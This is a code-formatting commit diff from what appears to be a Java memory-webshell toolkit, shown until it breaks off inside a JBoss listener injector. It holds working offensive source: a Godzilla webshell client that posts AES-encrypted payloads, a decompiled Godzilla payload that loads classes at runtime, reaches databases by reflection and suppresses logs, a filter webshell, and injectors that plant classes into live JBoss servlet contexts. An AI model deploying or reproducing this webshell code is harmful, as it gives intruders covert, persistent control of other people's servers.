style: code format

This commit is contained in:
ReaJason
2024-12-11 01:35:41 +08:00
parent 59b0aeaaca
commit 40c036ab92
66 changed files with 2104 additions and 1876 deletions
@@ -17,6 +17,7 @@ import static net.bytebuddy.jar.asm.Opcodes.POP;
/**
* Debug 信息打印移除器,目前仅支持移除 System.out.println() - printf 还不支持) 和 e.printStackTrace()
*
* @author ReaJason
*/
public class LogRemoveMethodVisitor implements AsmVisitorWrapper.ForDeclaredMethods.MethodVisitorWrapper {
@@ -14,6 +14,7 @@ import org.jetbrains.annotations.NotNull;
/**
* Servlet 包名替换,扫描包中所有 javax/servlet 将其替换成 jakarta/servlet。
*
* @author ReaJason
* @since 2024/11/23
*/
@@ -15,6 +15,7 @@ import org.jetbrains.annotations.NotNull;
/**
* 通过 classVisitor 将 classFileVersion 改为指定 JDK 版本,用于 JDK8 的环境能生成任意 JDK 版本的字节码,默认使用 JDK6
*
* @author ReaJason
*/
public class TargetJreVersionVisitorWrapper implements AsmVisitorWrapper {
@@ -55,7 +55,7 @@ public class ShellConfig {
@Builder.Default
private boolean debug = false;
public boolean isDebugOff(){
public boolean isDebugOff() {
return !debug;
}
@@ -29,8 +29,14 @@ import java.util.zip.GZIPOutputStream;
@Getter
@Setter
public class GodzillaManager implements Closeable {
private final OkHttpClient client;
private static final List<String> CLASS_NAMES;
static {
InputStream classNamesStream = Objects.requireNonNull(GodzillaGenerator.class.getResourceAsStream("/godzillaShellClassNames.txt"));
CLASS_NAMES = IOUtils.readLines(classNamesStream, "UTF-8");
}
private final OkHttpClient client;
private String cookie = "";
private String entrypoint;
private String key;
@@ -39,9 +45,8 @@ public class GodzillaManager implements Closeable {
private Request request;
private Map<String, String> headers = new HashMap<>();
static {
InputStream classNamesStream = Objects.requireNonNull(GodzillaGenerator.class.getResourceAsStream("/godzillaShellClassNames.txt"));
CLASS_NAMES = IOUtils.readLines(classNamesStream, "UTF-8");
public GodzillaManager() {
this.client = new OkHttpClient.Builder().build();
}
public static Pair<String, String> getKeyMd5(String key, String pass) {
@@ -50,73 +55,10 @@ public class GodzillaManager implements Closeable {
return Pair.of(md5Key, md5);
}
public static class GodzillaManagerBuilder {
private String entrypoint;
private String key;
private String pass;
private final Map<String, String> headers = new HashMap<>();
public GodzillaManagerBuilder entrypoint(String entrypoint) {
this.entrypoint = entrypoint;
return this;
}
public GodzillaManagerBuilder key(String key) {
this.key = key;
return this;
}
public GodzillaManagerBuilder pass(String pass) {
this.pass = pass;
return this;
}
public GodzillaManagerBuilder header(String key, String value) {
this.headers.put(key, value);
return this;
}
public GodzillaManager build() {
GodzillaManager manager = new GodzillaManager();
manager.setEntrypoint(entrypoint);
manager.setPass(pass);
Pair<String, String> keyMd5 = getKeyMd5(key, pass);
manager.setKey(keyMd5.getLeft());
manager.setMd5(keyMd5.getRight());
Map<String, String> headers = new HashMap<>(16);
headers.put("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0");
headers.put("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
headers.put("Accept-Language", "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2");
headers.putAll(this.headers);
manager.setHeaders(headers);
return manager;
}
}
public static GodzillaManagerBuilder builder() {
return new GodzillaManagerBuilder();
}
public GodzillaManager() {
this.client = new OkHttpClient.Builder().build();
}
private Response post(byte[] bytes) throws IOException {
byte[] aes = aes(this.key, bytes, true);
String base64String = Base64.encodeBase64String(aes);
RequestBody requestBody = new FormBody.Builder()
.add(this.pass, base64String)
.build();
Request.Builder builder = new Request.Builder()
.url(this.entrypoint)
.post(requestBody)
.headers(Headers.of(this.headers));
if (StringUtils.isNotBlank(cookie)) {
builder.header("Cookie", cookie);
}
return client.newCall(builder.build()).execute();
}
@SneakyThrows
public static byte[] generateGodzilla() {
Random random = new Random();
@@ -130,52 +72,6 @@ public class GodzillaManager implements Closeable {
}
}
public boolean start() {
byte[] bytes = generateGodzilla();
try (Response response = post(bytes)) {
String setCookie = response.header("Set-Cookie");
if (setCookie != null && setCookie.contains("JSESSIONID=")) {
cookie = setCookie.substring(setCookie.indexOf("JSESSIONID="), setCookie.indexOf(";"));
}
if (response.isSuccessful()) {
return true;
}
System.out.println(response.body().string());
} catch (IOException e) {
e.printStackTrace();
}
return false;
}
public boolean test() {
byte[] bytes = generateMethodCallBytes("test");
try (Response response = post(bytes)) {
if (response.isSuccessful()) {
ResponseBody body = response.body();
if (body != null) {
String resultFromRes = getResultFromRes(body.string(), this.key, this.md5);
System.out.println(resultFromRes);
return "ok".equals(resultFromRes);
}
}
return false;
} catch (IOException e) {
return false;
}
}
@Override
public void close() throws IOException {
byte[] bytes = generateMethodCallBytes("close");
try (Response response = post(bytes)) {
if (response.isSuccessful()) {
response.body();
}
} catch (IOException ignore) {
}
}
/**
* AES 加解密
*
@@ -270,6 +166,72 @@ public class GodzillaManager implements Closeable {
return (bytes[0] & 255) | ((bytes[1] & 255) << 8) | ((bytes[2] & 255) << 16) | ((bytes[3] & 255) << 24);
}
public static byte[] intToBytes(int value) {
return new byte[]{(byte) (value & 255), (byte) ((value >> 8) & 255), (byte) ((value >> 16) & 255), (byte) ((value >> 24) & 255)};
}
private Response post(byte[] bytes) throws IOException {
byte[] aes = aes(this.key, bytes, true);
String base64String = Base64.encodeBase64String(aes);
RequestBody requestBody = new FormBody.Builder()
.add(this.pass, base64String)
.build();
Request.Builder builder = new Request.Builder()
.url(this.entrypoint)
.post(requestBody)
.headers(Headers.of(this.headers));
if (StringUtils.isNotBlank(cookie)) {
builder.header("Cookie", cookie);
}
return client.newCall(builder.build()).execute();
}
public boolean start() {
byte[] bytes = generateGodzilla();
try (Response response = post(bytes)) {
String setCookie = response.header("Set-Cookie");
if (setCookie != null && setCookie.contains("JSESSIONID=")) {
cookie = setCookie.substring(setCookie.indexOf("JSESSIONID="), setCookie.indexOf(";"));
}
if (response.isSuccessful()) {
return true;
}
System.out.println(response.body().string());
} catch (IOException e) {
e.printStackTrace();
}
return false;
}
public boolean test() {
byte[] bytes = generateMethodCallBytes("test");
try (Response response = post(bytes)) {
if (response.isSuccessful()) {
ResponseBody body = response.body();
if (body != null) {
String resultFromRes = getResultFromRes(body.string(), this.key, this.md5);
System.out.println(resultFromRes);
return "ok".equals(resultFromRes);
}
}
return false;
} catch (IOException e) {
return false;
}
}
@Override
public void close() throws IOException {
byte[] bytes = generateMethodCallBytes("close");
try (Response response = post(bytes)) {
if (response.isSuccessful()) {
response.body();
}
} catch (IOException ignore) {
}
}
@SneakyThrows
private byte[] generateMethodCallBytes(String methodName) {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
@@ -283,7 +245,46 @@ public class GodzillaManager implements Closeable {
return byteArrayOutputStream.toByteArray();
}
public static byte[] intToBytes(int value) {
return new byte[]{(byte) (value & 255), (byte) ((value >> 8) & 255), (byte) ((value >> 16) & 255), (byte) ((value >> 24) & 255)};
public static class GodzillaManagerBuilder {
private final Map<String, String> headers = new HashMap<>();
private String entrypoint;
private String key;
private String pass;
public GodzillaManagerBuilder entrypoint(String entrypoint) {
this.entrypoint = entrypoint;
return this;
}
public GodzillaManagerBuilder key(String key) {
this.key = key;
return this;
}
public GodzillaManagerBuilder pass(String pass) {
this.pass = pass;
return this;
}
public GodzillaManagerBuilder header(String key, String value) {
this.headers.put(key, value);
return this;
}
public GodzillaManager build() {
GodzillaManager manager = new GodzillaManager();
manager.setEntrypoint(entrypoint);
manager.setPass(pass);
Pair<String, String> keyMd5 = getKeyMd5(key, pass);
manager.setKey(keyMd5.getLeft());
manager.setMd5(keyMd5.getRight());
Map<String, String> headers = new HashMap<>(16);
headers.put("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0");
headers.put("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
headers.put("Accept-Language", "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2");
headers.putAll(this.headers);
manager.setHeaders(headers);
return manager;
}
}
}
@@ -29,13 +29,6 @@ import java.util.zip.GZIPOutputStream;
@Generated
public class Payload extends ClassLoader {
public static final char[] toBase64 = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/'};
HashMap parameterMap;
HashMap sessionMap;
Object servletContext;
Object servletRequest;
Object httpSession;
byte[] requestData;
ByteArrayOutputStream outputStream;
static Class class$0;
static Class class$1;
static Class class$2;
@@ -47,6 +40,13 @@ public class Payload extends ClassLoader {
static Class class$8;
static Class class$9;
static Class class$10;
HashMap parameterMap;
HashMap sessionMap;
Object servletContext;
Object servletRequest;
Object httpSession;
byte[] requestData;
ByteArrayOutputStream outputStream;
public Payload() {
this.parameterMap = new HashMap();
@@ -57,6 +57,229 @@ public class Payload extends ClassLoader {
this.parameterMap = new HashMap();
}
public static byte[] copyOf(byte[] original, int newLength) {
byte[] arrayOfByte = new byte[newLength];
System.arraycopy(original, 0, arrayOfByte, 0, Math.min(original.length, newLength));
return arrayOfByte;
}
public static Connection getConnection(String url, String userName, String password) {
Connection connection = null;
try {
Class<?> cls = class$8;
if (cls == null) {
try {
cls = Class.forName("java.sql.DriverManager");
class$8 = cls;
} catch (ClassNotFoundException unused) {
throw new NoClassDefFoundError(unused.getMessage());
}
}
Field[] fields = cls.getDeclaredFields();
Field field = null;
for (int i = 0; i < fields.length; i++) {
field = fields[i];
if (field.getName().indexOf("rivers") != -1) {
Class<?> cls2 = class$9;
if (cls2 == null) {
try {
cls2 = Class.forName("java.util.List");
class$9 = cls2;
} catch (ClassNotFoundException unused2) {
throw new NoClassDefFoundError(unused2.getMessage());
}
}
if (cls2.isAssignableFrom(field.getType())) {
break;
}
}
field = null;
}
if (field != null) {
field.setAccessible(true);
List drivers = (List) field.get(null);
Iterator iterator = drivers.iterator();
while (iterator.hasNext() && connection == null) {
try {
Object object = iterator.next();
Driver driver = null;
Class<?> cls3 = class$10;
if (cls3 == null) {
try {
cls3 = Class.forName("java.sql.Driver");
class$10 = cls3;
} catch (ClassNotFoundException unused3) {
throw new NoClassDefFoundError(unused3.getMessage());
}
}
if (!cls3.isAssignableFrom(object.getClass())) {
Field[] driverInfos = object.getClass().getDeclaredFields();
int i2 = 0;
while (true) {
if (i2 >= driverInfos.length) {
break;
}
Class<?> cls4 = class$10;
if (cls4 == null) {
try {
cls4 = Class.forName("java.sql.Driver");
class$10 = cls4;
} catch (ClassNotFoundException unused4) {
throw new NoClassDefFoundError(unused4.getMessage());
}
}
if (!cls4.isAssignableFrom(driverInfos[i2].getType())) {
i2++;
} else {
driverInfos[i2].setAccessible(true);
driver = (Driver) driverInfos[i2].get(object);
break;
}
}
}
if (driver != null) {
Properties properties = new Properties();
if (userName != null) {
properties.put("user", userName);
}
if (password != null) {
properties.put("password", password);
}
connection = driver.connect(url, properties);
}
} catch (Exception e) {
}
}
}
} catch (Exception e2) {
}
return connection;
}
public static String getLocalIPList() {
List ipList = new ArrayList();
try {
Enumeration networkInterfaces = NetworkInterface.getNetworkInterfaces();
while (networkInterfaces.hasMoreElements()) {
NetworkInterface networkInterface = (NetworkInterface) networkInterfaces.nextElement();
Enumeration inetAddresses = networkInterface.getInetAddresses();
while (inetAddresses.hasMoreElements()) {
InetAddress inetAddress = (InetAddress) inetAddresses.nextElement();
if (inetAddress != null) {
String ip = inetAddress.getHostAddress();
ipList.add(ip);
}
}
}
} catch (Exception e) {
}
return Arrays.toString(ipList.toArray());
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field f2 = null;
if (obj instanceof Field) {
f2 = (Field) obj;
} else {
Class cs = obj.getClass();
while (cs != null) {
try {
f2 = cs.getDeclaredField(fieldName);
cs = null;
} catch (Exception e) {
cs = cs.getSuperclass();
}
}
}
f2.setAccessible(true);
return f2.get(obj);
}
private static Class getClass(String name) {
try {
return Class.forName(name);
} catch (Exception e) {
return null;
}
}
public static int bytesToInt(byte[] bytes) {
int i = (bytes[0] & 255) | ((bytes[1] & 255) << 8) | ((bytes[2] & 255) << 16) | ((bytes[3] & 255) << 24);
return i;
}
public static String base64Encode(byte[] src) {
int end = src.length;
byte[] dst = new byte[4 * ((src.length + 2) / 3)];
char[] base64 = toBase64;
int sp = 0;
int slen = ((end - 0) / 3) * 3;
int sl = 0 + slen;
if (-1 > 0 && slen > ((-1) / 4) * 3) {
slen = ((-1) / 4) * 3;
}
int dp = 0;
while (sp < sl) {
int sl0 = Math.min(sp + slen, sl);
int sp0 = sp;
int dp0 = dp;
while (sp0 < sl0) {
int i = sp0;
int sp02 = sp0 + 1;
int sp03 = sp02 + 1;
int i2 = ((src[i] & 255) << 16) | ((src[sp02] & 255) << 8);
sp0 = sp03 + 1;
int bits = i2 | (src[sp03] & 255);
int i3 = dp0;
int dp02 = dp0 + 1;
dst[i3] = (byte) base64[(bits >>> 18) & 63];
int dp03 = dp02 + 1;
dst[dp02] = (byte) base64[(bits >>> 12) & 63];
int dp04 = dp03 + 1;
dst[dp03] = (byte) base64[(bits >>> 6) & 63];
dp0 = dp04 + 1;
dst[dp04] = (byte) base64[bits & 63];
}
int dlen = ((sl0 - sp) / 3) * 4;
dp += dlen;
sp = sl0;
}
if (sp < end) {
int i4 = sp;
int sp2 = sp + 1;
int b0 = src[i4] & 255;
int i5 = dp;
int dp2 = dp + 1;
dst[i5] = (byte) base64[b0 >> 2];
if (sp2 == end) {
int dp3 = dp2 + 1;
dst[dp2] = (byte) base64[(b0 << 4) & 63];
if (1 != 0) {
int dp4 = dp3 + 1;
dst[dp3] = 61;
int i6 = dp4 + 1;
dst[dp4] = 61;
}
} else {
int i7 = sp2 + 1;
int b1 = src[sp2] & 255;
int dp5 = dp2 + 1;
dst[dp2] = (byte) base64[((b0 << 4) & 63) | (b1 >> 4)];
int dp6 = dp5 + 1;
dst[dp5] = (byte) base64[(b1 << 2) & 63];
if (1 != 0) {
int i8 = dp6 + 1;
dst[dp6] = 61;
}
}
}
return new String(dst);
}
public static byte[] base64Decode(java.lang.String r7) {
throw new UnsupportedOperationException("Method not decompiled: p000.payload.base64Decode(java.lang.String):byte[]");
}
public Class m632g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
@@ -1018,12 +1241,6 @@ public class Payload extends ClassLoader {
}
}
public static byte[] copyOf(byte[] original, int newLength) {
byte[] arrayOfByte = new byte[newLength];
System.arraycopy(original, 0, arrayOfByte, 0, Math.min(original.length, newLength));
return arrayOfByte;
}
public Map getEnv() {
try {
int jreVersion = Integer.parseInt(System.getProperty("java.version").substring(2, 3));
@@ -1074,119 +1291,6 @@ public class Payload extends ClassLoader {
}
}
public static Connection getConnection(String url, String userName, String password) {
Connection connection = null;
try {
Class<?> cls = class$8;
if (cls == null) {
try {
cls = Class.forName("java.sql.DriverManager");
class$8 = cls;
} catch (ClassNotFoundException unused) {
throw new NoClassDefFoundError(unused.getMessage());
}
}
Field[] fields = cls.getDeclaredFields();
Field field = null;
for (int i = 0; i < fields.length; i++) {
field = fields[i];
if (field.getName().indexOf("rivers") != -1) {
Class<?> cls2 = class$9;
if (cls2 == null) {
try {
cls2 = Class.forName("java.util.List");
class$9 = cls2;
} catch (ClassNotFoundException unused2) {
throw new NoClassDefFoundError(unused2.getMessage());
}
}
if (cls2.isAssignableFrom(field.getType())) {
break;
}
}
field = null;
}
if (field != null) {
field.setAccessible(true);
List drivers = (List) field.get(null);
Iterator iterator = drivers.iterator();
while (iterator.hasNext() && connection == null) {
try {
Object object = iterator.next();
Driver driver = null;
Class<?> cls3 = class$10;
if (cls3 == null) {
try {
cls3 = Class.forName("java.sql.Driver");
class$10 = cls3;
} catch (ClassNotFoundException unused3) {
throw new NoClassDefFoundError(unused3.getMessage());
}
}
if (!cls3.isAssignableFrom(object.getClass())) {
Field[] driverInfos = object.getClass().getDeclaredFields();
int i2 = 0;
while (true) {
if (i2 >= driverInfos.length) {
break;
}
Class<?> cls4 = class$10;
if (cls4 == null) {
try {
cls4 = Class.forName("java.sql.Driver");
class$10 = cls4;
} catch (ClassNotFoundException unused4) {
throw new NoClassDefFoundError(unused4.getMessage());
}
}
if (!cls4.isAssignableFrom(driverInfos[i2].getType())) {
i2++;
} else {
driverInfos[i2].setAccessible(true);
driver = (Driver) driverInfos[i2].get(object);
break;
}
}
}
if (driver != null) {
Properties properties = new Properties();
if (userName != null) {
properties.put("user", userName);
}
if (password != null) {
properties.put("password", password);
}
connection = driver.connect(url, properties);
}
} catch (Exception e) {
}
}
}
} catch (Exception e2) {
}
return connection;
}
public static String getLocalIPList() {
List ipList = new ArrayList();
try {
Enumeration networkInterfaces = NetworkInterface.getNetworkInterfaces();
while (networkInterfaces.hasMoreElements()) {
NetworkInterface networkInterface = (NetworkInterface) networkInterfaces.nextElement();
Enumeration inetAddresses = networkInterface.getInetAddresses();
while (inetAddresses.hasMoreElements()) {
InetAddress inetAddress = (InetAddress) inetAddresses.nextElement();
if (inetAddress != null) {
String ip = inetAddress.getHostAddress();
ipList.add(ip);
}
}
}
} catch (Exception e) {
}
return Arrays.toString(ipList.toArray());
}
public String getRealPath() {
try {
if (this.servletContext != null) {
@@ -1273,25 +1377,6 @@ public class Payload extends ClassLoader {
return method;
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field f2 = null;
if (obj instanceof Field) {
f2 = (Field) obj;
} else {
Class cs = obj.getClass();
while (cs != null) {
try {
f2 = cs.getDeclaredField(fieldName);
cs = null;
} catch (Exception e) {
cs = cs.getSuperclass();
}
}
}
f2.setAccessible(true);
return f2.get(obj);
}
private void noLog(Object servletContext) {
try {
Object applicationContext = getFieldValue(servletContext, "context");
@@ -1367,92 +1452,7 @@ public class Payload extends ClassLoader {
}
}
private static Class getClass(String name) {
try {
return Class.forName(name);
} catch (Exception e) {
return null;
}
}
public static int bytesToInt(byte[] bytes) {
int i = (bytes[0] & 255) | ((bytes[1] & 255) << 8) | ((bytes[2] & 255) << 16) | ((bytes[3] & 255) << 24);
return i;
}
public String base64Encode(String data) {
return base64Encode(data.getBytes());
}
public static String base64Encode(byte[] src) {
int end = src.length;
byte[] dst = new byte[4 * ((src.length + 2) / 3)];
char[] base64 = toBase64;
int sp = 0;
int slen = ((end - 0) / 3) * 3;
int sl = 0 + slen;
if (-1 > 0 && slen > ((-1) / 4) * 3) {
slen = ((-1) / 4) * 3;
}
int dp = 0;
while (sp < sl) {
int sl0 = Math.min(sp + slen, sl);
int sp0 = sp;
int dp0 = dp;
while (sp0 < sl0) {
int i = sp0;
int sp02 = sp0 + 1;
int sp03 = sp02 + 1;
int i2 = ((src[i] & 255) << 16) | ((src[sp02] & 255) << 8);
sp0 = sp03 + 1;
int bits = i2 | (src[sp03] & 255);
int i3 = dp0;
int dp02 = dp0 + 1;
dst[i3] = (byte) base64[(bits >>> 18) & 63];
int dp03 = dp02 + 1;
dst[dp02] = (byte) base64[(bits >>> 12) & 63];
int dp04 = dp03 + 1;
dst[dp03] = (byte) base64[(bits >>> 6) & 63];
dp0 = dp04 + 1;
dst[dp04] = (byte) base64[bits & 63];
}
int dlen = ((sl0 - sp) / 3) * 4;
dp += dlen;
sp = sl0;
}
if (sp < end) {
int i4 = sp;
int sp2 = sp + 1;
int b0 = src[i4] & 255;
int i5 = dp;
int dp2 = dp + 1;
dst[i5] = (byte) base64[b0 >> 2];
if (sp2 == end) {
int dp3 = dp2 + 1;
dst[dp2] = (byte) base64[(b0 << 4) & 63];
if (1 != 0) {
int dp4 = dp3 + 1;
dst[dp3] = 61;
int i6 = dp4 + 1;
dst[dp4] = 61;
}
} else {
int i7 = sp2 + 1;
int b1 = src[sp2] & 255;
int dp5 = dp2 + 1;
dst[dp2] = (byte) base64[((b0 << 4) & 63) | (b1 >> 4)];
int dp6 = dp5 + 1;
dst[dp5] = (byte) base64[(b1 << 2) & 63];
if (1 != 0) {
int i8 = dp6 + 1;
dst[dp6] = 61;
}
}
}
return new String(dst);
}
public static byte[] base64Decode(java.lang.String r7) {
throw new UnsupportedOperationException("Method not decompiled: p000.payload.base64Decode(java.lang.String):byte[]");
}
}
@@ -17,6 +17,26 @@ public class CommandListener implements ServletRequestListener {
public CommandListener() {
}
@SuppressWarnings("all")
public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
@@ -51,24 +71,4 @@ public class CommandListener implements ServletRequestListener {
}
return response;
}
@SuppressWarnings("all")
public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
}
@@ -26,6 +26,44 @@ public class GodzillaFilter extends ClassLoader implements Filter {
super(z);
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public Class<?> Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
@@ -86,42 +124,4 @@ public class GodzillaFilter extends ClassLoader implements Filter {
@Override
public void destroy() {
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
}
@@ -34,6 +34,76 @@ public class JbossFilterInjector {
}
}
static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream gzipInputStream = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = gzipInputStream.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
Class<?> tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (Method value : methods) {
if (value.getName().equals(methodName) && value.getParameterTypes().length == 0) {
method = value;
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
@@ -134,30 +204,6 @@ public class JbossFilterInjector {
return "{{base64Str}}";
}
static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream gzipInputStream = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = gzipInputStream.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
@SuppressWarnings("all")
public Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
@@ -177,50 +223,4 @@ public class JbossFilterInjector {
return field.get(obj);
}
}
public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
Class<?> tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (Method value : methods) {
if (value.getName().equals(methodName) && value.getParameterTypes().length == 0) {
method = value;
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -18,14 +18,6 @@ import java.util.zip.GZIPInputStream;
*/
public class JbossListenerInjector {
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
static {
new JbossListenerInjector();
}
@@ -41,89 +33,6 @@ public class JbossListenerInjector {
}
}
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
try {
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
for (Object key : childrenMap.keySet()) {
Map<?, ?> children = (Map<?, ?>) getFV(childrenMap.get(key), "children");
for (Object key1 : children.keySet()) {
Object context = children.get(key1);
if (context != null && context.getClass().getName().contains("StandardContext")) {
contexts.add(context);
}
}
}
}
}
} catch (Exception e) {
throw new RuntimeException(e);
}
return contexts;
}
private Object getListener(Object context) {
Object listener = null;
